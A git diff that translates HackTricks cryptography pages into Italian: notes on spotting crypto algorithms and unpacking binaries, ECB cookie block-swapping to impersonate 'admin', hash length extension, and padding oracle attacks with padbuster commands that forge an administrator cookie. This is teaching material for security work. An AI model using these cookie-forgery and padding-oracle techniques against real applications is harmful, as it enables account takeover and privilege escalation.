È possibile **distinguere AES grazie all'uso di valori specifici delle tabelle di ricerca** (costanti). _Nota che la **costante** può essere **memorizzata** nel binario **o creata** _**dinamicamente**._ +- La **chiave di crittografia** deve essere **divisibile** per **16** (di solito 32B) e di solito viene utilizzato un **IV** di 16B. -### SBox constants +### Costanti SBox ![](<../../images/image (208).png>) -## Serpent **(Symmetric Crypt)** +## Serpent **(Crittografia Simmetrica)** -### Characteristics +### Caratteristiche -- It's rare to find some malware using it but there are examples (Ursnif) -- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) +- È raro trovare malware che lo utilizzi, ma ci sono esempi (Ursnif) +- Facile determinare se un algoritmo è Serpent o meno in base alla sua lunghezza (funzione estremamente lunga) -### Identifying +### Identificazione -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: +Nell'immagine seguente nota come la costante **0x9E3779B9** è utilizzata (nota che questa costante è utilizzata anche da altri algoritmi crittografici come **TEA** -Tiny Encryption Algorithm).\ +Nota anche la **dimensione del ciclo** (**132**) e il **numero di operazioni XOR** nelle **istruzioni di disassemblaggio** e nell'**esempio di codice**: ![](<../../images/image (547).png>) -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: +Come accennato in precedenza, questo codice può essere visualizzato all'interno di qualsiasi decompilatore come una **funzione molto lunga** poiché **non ci sono salti** al suo interno. Il codice decompilato può apparire come segue: ![](<../../images/image (513).png>) -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). +Pertanto, è possibile identificare questo algoritmo controllando il **numero magico** e i **XOR iniziali**, vedendo una **funzione molto lunga** e **confrontando** alcune **istruzioni** della lunga funzione **con un'implementazione** (come lo shift a sinistra di 7 e la rotazione a sinistra di 22). -## RSA **(Asymmetric Crypt)** +## RSA **(Crittografia Asimmetrica)** -### Characteristics +### Caratteristiche -- More complex than symmetric algorithms -- There are no constants! (custom implementation are difficult to determine) -- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. +- Più complesso degli algoritmi simmetrici +- Non ci sono costanti! (le implementazioni personalizzate sono difficili da determinare) +- KANAL (un analizzatore crittografico) non riesce a mostrare indizi su RSA poiché si basa su costanti. -### Identifying by comparisons +### Identificazione per confronti ![](<../../images/image (1113).png>) -- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` +- Nella riga 11 (sinistra) c'è un `+7) >> 3` che è lo stesso della riga 35 (destra): `+7) / 8` +- La riga 12 (sinistra) controlla se `modulus_len < 0x040` e nella riga 36 (destra) controlla se `inputLen+11 > modulusLen` ## MD5 & SHA (hash) -### Characteristics +### Caratteristiche -- 3 functions: Init, Update, Final -- Similar initialize functions +- 3 funzioni: Init, Update, Final +- Funzioni di inizializzazione simili -### Identify +### Identificazione **Init** -You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: +Puoi identificare entrambi controllando le costanti. Nota che sha_init ha 1 costante che MD5 non ha: ![](<../../images/image (406).png>) **MD5 Transform** -Note the use of more constants +Nota l'uso di più costanti ![](<../../images/image (253) (1) (1).png>) ## CRC (hash) -- Smaller and more efficient as it's function is to find accidental changes in data -- Uses lookup tables (so you can identify constants) +- Più piccolo e più efficiente poiché la sua funzione è trovare cambiamenti accidentali nei dati +- Usa tabelle di ricerca (quindi puoi identificare costanti) -### Identify +### Identificazione -Check **lookup table constants**: +Controlla **costanti della tabella di ricerca**: ![](<../../images/image (508).png>) -A CRC hash algorithm looks like: +Un algoritmo hash CRC appare come: ![](<../../images/image (391).png>) -## APLib (Compression) +## APLib (Compressione) -### Characteristics +### Caratteristiche -- Not recognizable constants -- You can try to write the algorithm in python and search for similar things online +- Costanti non riconoscibili +- Puoi provare a scrivere l'algoritmo in python e cercare cose simili online -### Identify +### Identificazione -The graph is quiet large: +Il grafico è piuttosto grande: ![](<../../images/image (207) (2) (1).png>) -Check **3 comparisons to recognise it**: +Controlla **3 confronti per riconoscerlo**: ![](<../../images/image (430).png>) diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md index 6699ec26f..a7cb62873 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md +++ b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md @@ -1,24 +1,24 @@ {{#include ../../banners/hacktricks-training.md}} -# Identifying packed binaries +# Identificazione di binari impacchettati -- **lack of strings**: It's common to find that packed binaries doesn't have almost any string -- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed. -- You can also use some tools to try to find which packer was used to pack a binary: - - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - - [Language 2000](http://farrokhi.net/language/) +- **mancanza di stringhe**: È comune trovare che i binari impacchettati non abbiano quasi nessuna stringa. +- Molte **stringhe inutilizzate**: Inoltre, quando un malware utilizza qualche tipo di packer commerciale, è comune trovare molte stringhe senza riferimenti incrociati. Anche se queste stringhe esistono, ciò non significa che il binario non sia impacchettato. +- Puoi anche utilizzare alcuni strumenti per cercare di scoprire quale packer è stato utilizzato per impacchettare un binario: +- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) +- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) +- [Language 2000](http://farrokhi.net/language/) -# Basic Recommendations +# Raccomandazioni di base -- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. -- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. -- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). -- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. -- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). -- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. -- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). +- **Inizia** ad analizzare il binario impacchettato **dal basso in IDA e sali**. Gli unpacker escono una volta che il codice decompresso esce, quindi è improbabile che l'unpacker passi l'esecuzione al codice decompresso all'inizio. +- Cerca **JMP** o **CALL** a **registri** o **regioni** di **memoria**. Cerca anche **funzioni che spingono argomenti e una direzione di indirizzo e poi chiamano `retn`**, perché il ritorno della funzione in quel caso potrebbe chiamare l'indirizzo appena spinto nello stack prima di chiamarlo. +- Metti un **breakpoint** su `VirtualAlloc` poiché questo alloca spazio in memoria dove il programma può scrivere codice decompresso. "Esegui fino al codice utente" o usa F8 per **ottenere il valore dentro EAX** dopo aver eseguito la funzione e "**segui quell'indirizzo nel dump**". Non sai mai se quella è la regione dove il codice decompresso verrà salvato. +- **`VirtualAlloc`** con il valore "**40**" come argomento significa Read+Write+Execute (alcuni codici che necessitano di esecuzione verranno copiati qui). +- **Durante l'unpacking** del codice è normale trovare **diverse chiamate** a **operazioni aritmetiche** e funzioni come **`memcopy`** o **`Virtual`**`Alloc`. Se ti trovi in una funzione che apparentemente esegue solo operazioni aritmetiche e forse qualche `memcopy`, la raccomandazione è di cercare di **trovare la fine della funzione** (forse un JMP o una chiamata a qualche registro) **o** almeno la **chiamata all'ultima funzione** e correre fino a quella, poiché il codice non è interessante. +- Durante l'unpacking del codice **nota** ogni volta che **cambi regione di memoria**, poiché un cambiamento di regione di memoria può indicare l'**inizio del codice decompresso**. Puoi facilmente dumpare una regione di memoria utilizzando Process Hacker (processo --> proprietà --> memoria). +- Durante il tentativo di decompattare il codice, un buon modo per **sapere se stai già lavorando con il codice decompresso** (così puoi semplicemente dumpare) è **controllare le stringhe del binario**. Se a un certo punto esegui un salto (forse cambiando la regione di memoria) e noti che **sono state aggiunte molte più stringhe**, allora puoi sapere **che stai lavorando con il codice decompresso**.\ +Tuttavia, se il packer contiene già molte stringhe, puoi vedere quante stringhe contengono la parola "http" e vedere se questo numero aumenta. +- Quando dumpi un eseguibile da una regione di memoria, puoi correggere alcuni header utilizzando [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md index a09798b1e..2a871f060 100644 --- a/src/crypto-and-stego/electronic-code-book-ecb.md +++ b/src/crypto-and-stego/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Electronic Code Book - schema di crittografia simmetrica che **sostituisce ogni blocco del testo in chiaro** con il **blocco di testo cifrato**. È il **schema di crittografia più semplice**. L'idea principale è di **dividere** il testo in chiaro in **blocchi di N bit** (dipende dalla dimensione del blocco di dati in input, algoritmo di crittografia) e poi crittografare (decrittografare) ogni blocco di testo in chiaro utilizzando l'unica chiave. ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +L'uso di ECB ha molteplici implicazioni di sicurezza: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **I blocchi del messaggio crittografato possono essere rimossi** +- **I blocchi del messaggio crittografato possono essere spostati** -# Detection of the vulnerability +# Rilevamento della vulnerabilità -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Immagina di accedere a un'applicazione più volte e di **ricevere sempre lo stesso cookie**. Questo perché il cookie dell'applicazione è **`|`**.\ +Poi, generi due nuovi utenti, entrambi con la **stessa lunga password** e **quasi** lo **stesso** **username**.\ +Scopri che i **blocchi di 8B** dove le **info di entrambi gli utenti** sono le stesse sono **uguali**. Poi, immagini che questo potrebbe essere perché **si sta utilizzando ECB**. +Come nel seguente esempio. Osserva come questi **2 cookie decodificati** hanno più volte il blocco **`\x23U\xE45K\xCB\x21\xC8`**. ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Questo è perché il **nome utente e la password di quei cookie contenevano diverse volte la lettera "a"** (per esempio). I **blocchi** che sono **diversi** sono blocchi che contenevano **almeno 1 carattere diverso** (forse il delimitatore "|" o qualche differenza necessaria nel nome utente). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Ora, l'attaccante deve solo scoprire se il formato è `` o ``. Per farlo, può semplicemente **generare diversi nomi utente** con **nomi utente e password simili e lunghi fino a trovare il formato e la lunghezza del delimitatore:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Lunghezza nome utente: | Lunghezza password: | Lunghezza Nome Utente+Password: | Lunghezza cookie (dopo decodifica): | +| ---------------------- | ------------------- | ------------------------------- | ----------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Sfruttamento della vulnerabilità -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Rimozione di interi blocchi +Sapendo il formato del cookie (`|`), per impersonare il nome utente `admin`, crea un nuovo utente chiamato `aaaaaaaaadmin` e ottieni il cookie e decodificalo: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Possiamo vedere il pattern `\x23U\xE45K\xCB\x21\xC8` creato in precedenza con il nome utente che conteneva solo `a`.\ +Poi, puoi rimuovere il primo blocco di 8B e otterrai un cookie valido per il nome utente `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Spostare blocchi -## Moving blocks +In molti database è lo stesso cercare `WHERE username='admin';` o `WHERE username='admin ';` _(Nota gli spazi extra)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Quindi, un altro modo per impersonare l'utente `admin` sarebbe: -So, another way to impersonate the user `admin` would be to: +- Generare un nome utente che: `len() + len(` genererà 2 blocchi di 8Bs. +- Poi, generare una password che riempirà un numero esatto di blocchi contenenti il nome utente che vogliamo impersonare e spazi, come: `admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +Il cookie di questo utente sarà composto da 3 blocchi: i primi 2 sono i blocchi del nome utente + delimitatore e il terzo è della password (che sta fingendo il nome utente): `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**Poi, basta sostituire il primo blocco con l'ultimo e si impersonerà l'utente `admin`: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## Riferimenti - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 2faf6564f..be970db8c 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -1,18 +1,16 @@ -# Esoteric languages +# Lingue esoteriche {{#include ../banners/hacktricks-training.md}} ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -Check that wiki to search more esotreic languages +Controlla quel wiki per cercare altre lingue esoteriche ## Malbolge - ``` ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= ``` - [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) ## npiet @@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) ## Rockstar - ``` Midnight takes your heart and your soul While your heart is as high as your soul @@ -51,11 +48,9 @@ Take it to the top Whisper my world ``` - {% embed url="https://codewithrockstar.com/" %} ## PETOOH - ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO Kukarek ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 51a38df3f..8c18acb29 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -2,37 +2,37 @@ {{#include ../banners/hacktricks-training.md}} -## Summary of the attack +## Riepilogo dell'attacco -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +Immagina un server che **firma** alcuni **dati** **aggiungendo** un **segreto** a dei dati di testo chiaro noti e poi hashando quei dati. Se conosci: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **La lunghezza del segreto** (questo può essere anche forzato a bruteforce da un dato intervallo di lunghezza) +- **I dati di testo chiaro** +- **L'algoritmo (e è vulnerabile a questo attacco)** +- **Il padding è noto** +- Di solito viene utilizzato uno predefinito, quindi se gli altri 3 requisiti sono soddisfatti, anche questo lo è +- Il padding varia a seconda della lunghezza del segreto + dati, ecco perché è necessaria la lunghezza del segreto -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +Allora, è possibile per un **attaccante** **aggiungere** **dati** e **generare** una **firma** valida per i **dati precedenti + dati aggiunti**. -### How? +### Come? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +Fondamentalmente, gli algoritmi vulnerabili generano gli hash prima **hashando un blocco di dati**, e poi, **dallo** **hash** **precedentemente** creato (stato), **aggiungono il prossimo blocco di dati** e **lo hashano**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +Immagina che il segreto sia "secret" e i dati siano "data", l'MD5 di "secretdata" è 6036708eba0d11f6ef52ad44e8b74d5b.\ +Se un attaccante vuole aggiungere la stringa "append" può: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- Generare un MD5 di 64 "A" +- Cambiare lo stato dell'hash precedentemente inizializzato a 6036708eba0d11f6ef52ad44e8b74d5b +- Aggiungere la stringa "append" +- Completare l'hash e l'hash risultante sarà un **valido per "secret" + "data" + "padding" + "append"** -### **Tool** +### **Strumento** {% embed url="https://github.com/iagox86/hash_extender" %} -### References +### Riferimenti -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +Puoi trovare questo attacco ben spiegato in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/padding-oracle-priv.md b/src/crypto-and-stego/padding-oracle-priv.md index 96d3145a3..1fb03f666 100644 --- a/src/crypto-and-stego/padding-oracle-priv.md +++ b/src/crypto-and-stego/padding-oracle-priv.md @@ -2,26 +2,24 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - ## CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +In modalità CBC, il **blocco crittografato precedente viene utilizzato come IV** per XORare con il blocco successivo: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +Per decrittografare CBC, vengono eseguite le **operazioni** **opposte**: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Nota come sia necessario utilizzare una **chiave di crittografia** e un **IV**. ## Message Padding -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Poiché la crittografia viene eseguita in **blocchi** di **dimensione** **fissa**, è solitamente necessario un **padding** nell'**ultimo** **blocco** per completarne la lunghezza.\ +Di solito si utilizza **PKCS7**, che genera un padding **ripetendo** il **numero** di **byte** **necessari** per **completare** il blocco. Ad esempio, se l'ultimo blocco manca di 3 byte, il padding sarà `\x03\x03\x03`. -Let's look at more examples with a **2 blocks of length 8bytes**: +Esaminiamo altri esempi con **2 blocchi di lunghezza 8byte**: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Nota come nell'ultimo esempio l'**ultimo blocco era pieno, quindi ne è stato generato un altro solo con padding**. ## Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Quando un'applicazione decrittografa dati crittografati, prima decrittografa i dati; poi rimuove il padding. Durante la pulizia del padding, se un **padding non valido attiva un comportamento rilevabile**, hai una **vulnerabilità di padding oracle**. Il comportamento rilevabile può essere un **errore**, una **mancanza di risultati** o una **risposta più lenta**. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Se rilevi questo comportamento, puoi **decrittografare i dati crittografati** e persino **crittografare qualsiasi testo in chiaro**. -### How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +### Come sfruttare +Potresti utilizzare [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) per sfruttare questo tipo di vulnerabilità o semplicemente fare ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Per testare se il cookie di un sito è vulnerabile, potresti provare: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Encoding 0** significa che **base64** è utilizzato (ma sono disponibili altri, controlla il menu di aiuto). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +Potresti anche **sfruttare questa vulnerabilità per crittografare nuovi dati. Ad esempio, immagina che il contenuto del cookie sia "**_**user=MyUsername**_**", quindi potresti cambiarlo in "\_user=administrator\_" e aumentare i privilegi all'interno dell'applicazione. Potresti anche farlo usando `paduster` specificando il parametro -plaintext**: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Se il sito è vulnerabile, `padbuster` proverà automaticamente a trovare quando si verifica l'errore di padding, ma puoi anche indicare il messaggio di errore utilizzando il parametro **-error**. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +### La teoria -### The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +In **sintesi**, puoi iniziare a decrittare i dati crittografati indovinando i valori corretti che possono essere utilizzati per creare tutti i **diversi padding**. Poi, l'attacco padding oracle inizierà a decrittare i byte dalla fine all'inizio indovinando quale sarà il valore corretto che **crea un padding di 1, 2, 3, ecc**. ![](<../images/image (561).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Immagina di avere del testo crittografato che occupa **2 blocchi** formati dai byte da **E0 a E15**.\ +Per **decrittare** l'**ultimo** **blocco** (**E8** a **E15**), l'intero blocco passa attraverso la "decrittazione del blocco" generando i **byte intermedi I0 a I15**.\ +Infine, ogni byte intermedio è **XORato** con i byte crittografati precedenti (E0 a E7). Quindi: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Ora, è possibile **modificare `E7` fino a quando `C15` è `0x01`**, che sarà anche un padding corretto. Quindi, in questo caso: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +Quindi, trovando E'7, è **possibile calcolare I15**: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Il che ci permette di **calcolare C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +Sapendo **C15**, ora è possibile **calcolare C14**, ma questa volta forzando il padding `\x02\x02`. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Questo BF è complesso quanto il precedente poiché è possibile calcolare il `E''15` il cui valore è 0x02: `E''7 = \x02 ^ I15` quindi è solo necessario trovare il **`E'14`** che genera un **`C14` uguale a `0x02`**.\ +Poi, segui gli stessi passaggi per decrittare C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**Segui questa catena fino a decrittare l'intero testo crittografato.** -### Detection of the vulnerability +### Rilevamento della vulnerabilità -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Registrati e crea un account e accedi con questo account.\ +Se **accedi molte volte** e ricevi sempre la **stessa cookie**, probabilmente c'è **qualcosa** **sbagliato** nell'applicazione. La **cookie restituita dovrebbe essere unica** ogni volta che accedi. Se la cookie è **sempre** la **stessa**, probabilmente sarà sempre valida e non ci **sarà modo di invalidarla**. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Ora, se provi a **modificare** la **cookie**, puoi vedere che ricevi un **errore** dall'applicazione.\ +Ma se forzi il padding (usando padbuster per esempio) riesci a ottenere un'altra cookie valida per un utente diverso. Questo scenario è altamente probabile che sia vulnerabile a padbuster. -### References +### Riferimenti - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md 